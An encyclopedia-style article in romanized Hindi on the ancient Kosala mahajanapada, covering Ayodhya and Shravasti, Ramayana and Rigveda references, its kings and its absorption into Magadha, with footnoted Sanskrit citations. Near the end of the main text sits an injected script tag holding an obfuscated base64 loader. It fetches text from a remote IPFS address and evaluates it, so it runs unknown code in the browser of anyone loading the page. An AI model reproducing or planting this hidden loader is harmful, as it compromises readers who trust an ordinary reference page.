कौशल महाजनपद
kaushal / kosal / koshal mahajanapad
thumb|300px|kosal mahajanapad
Kaushal Great Realm
uttari bharat ka prasiddh janapad jisaki rajadhani vishvavishrut nagari ayodhya thi. uttar pradesh ke phaijabad zila, goanda aur baharaich ke kshetr shamil the. valmiki ramayan [1]mean isaka ullekh hai:
kosalo nam mudit: sphito janapado mahan.
nivisht: sarayootire prabhoot dhanadhanyavanh ॥
rrigved mean varnan
yah janapad sarayoo (ganga nadi ki sahayak nadi) ke tatavarti pradesh mean basa hua tha. sarayoo ke kinare basi huee basti ka sarvapratham ullekh rrigved mean [2] ho sakata hai yahi basti age chalakar ayodhya ke roop mean vikasit ho gayi. is uddharan mean chitrarath ko is basti ka pramukh bataya gaya hai. shayad isi vyakti ka ullekh valmiki ramayan mean bhi hai[3].
ramayan kal
ramayan-kal mean kosal rajy ki dakshini sima par vedashruti nadi bahati thi. shri ramchandraji ne ayodhya se van ke lie jate samay gomati nadi ko par karane ke pahale hi kosal ki sima ko par kar liya tha[4]. vedashruti tatha gomati par karane ka ullekh ayodhyakand [5]mean hai aur tatpashchath syandika ya see nadi ko par karane ke pashchat[6] shri ram ne pichhe chhoote hue anek janapadoan vale tatha manu dvara ikshvaku ko die ge samriddhishali (kosal) rajy ki bhoomi sita ko dikhaee. jan p data hai ki ramayan-kal mean hi yah desh do janapadoan mean vibhakt tha-
- uttar kosal aur
- dakshin kosal
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raja dasharath ki rani kaushalya sanbhavat: dakshin kosal (rayapur-bilasapur ke zile, madhy pradesh) ki rajakanya thi. kalidas ne raghuvansh[7]mean ayodhya ko uttar kosal ki rajadhani kaha hai[8]. ramayan-kal mean ayodhya bahut hi samriddhishali nagari thi.
digvijay-yatra
mahabharat [9]mean bhimsen ki digvijay-yatra mean kosal-naresh brihadbal ki parajay ka ullekh hai[10]. aanguttaranikay ke anusar buddhkal se pahale kosal ki ganana uttar bharat ke solah janapadoan mean thi. is samay videh aur kosal ki sima par sadanira (gandaki) nadi bahati thi. buddh ke samay kosal ka raja prasenajit tha, jisane apani putri kosala ka vivah magadh-naresh bianbisar ke sath kiya tha. kashi ka rajy jo is samay kosal ke aantargat tha, rajakumari ko dahej mean usaki prasadhan samagri ke vyay ke lie diya gaya tha. is samay kosal ki rajadhani shravasti mean thi. ayodhya ka nikatavarti upanagar saket bauddhakal ka prasiddh nagar tha.
magadh-samrajy mean vilin
jatakoan mean kosal ke ek any nagar setavya ka bhi ullekh hai. chhathi aur paanchavi shati ee. poo. mean kosal magadh ke saman hi shaktishali rajy tha kintu dhire-dhire magadh ka mahattv badhata gaya aur maury-samrajy ki sthapana ke sath kosal magadh-samrajy hi ka ek bhag ban gaya. isake pashchath itihas mean kosal ki janapad ke roop mean adhik mahatta nahian dikhaee deti yadyapi isaka nam guptakal tak sahity mean prachalit tha.
vishnu puran [11]ke is uddharan mean sambhavat: guptakal ke poorvavarti kal mean kosal ka any janapadoan ke sath hi devarakshit namak raja dvara shasit hone ka varnan hai. yah dakshin kosal bhi ho sakata hai. guptasamrat samudragupt ki prayag prashasti mean ‘kosalak maheandr’ ya kosal (dakshin kosal) ke mahendr ka ullekh hai jis par samudragupt ne vijay prapt ki thi. kuchh videshi vidvanoan (silaven levi, jin prejriluski) ke mat mean kosal astrik bhasha ka shabd hai. astrik log bharat mean dravi doan se bhi poorv akar base the [12]. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ valmiki ramayan (1.4.5
- ↑ ’utatya sady arya sarayorindraparat: arnachitraratha vadhi:’, rrigved 4,30,18
- ↑ ‘sootashchitrathashchary: sachiv: suchiroshit: toshayainan maharhaishch ratnairvastrairdhanaistatha’, ayodhyakand 32,17
- ↑ ’etavacho manushyanaan gramasanvasavastinamh, shrrinvannatiyayauvir: kosalankosaleshvar:’, ayodhyakand 49,8
- ↑ ayodhyakand 49,9 aur 49,10
- ↑ ’s mahian manuna raja dattamikshvakave pura, sphitaan rashtravataan ramo vaidehimanvadarshayath’, ayodhyakand 49,12
- ↑ raghuvansh 13,62
- ↑ ’samany dhatrimiv manasan me sanbhavayatyuttarakosalanamh’, de. uttar kosal
- ↑ mahabharat sabhaparv 30,1
- ↑ tat: kumaravishaye shrenimantamathajayath kosaladhipatian chaiv brihadbalamariandam:
- ↑ ‘kosalaandhrapuandratamraliptasamudratatapurian ch devarakshito rakshita’, vishnu puran 4,24,64
- ↑ de. ayodhya, saket, shravasti, sarayoo
sanbandhit lekh
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varnamala kramanusar lekh khoj
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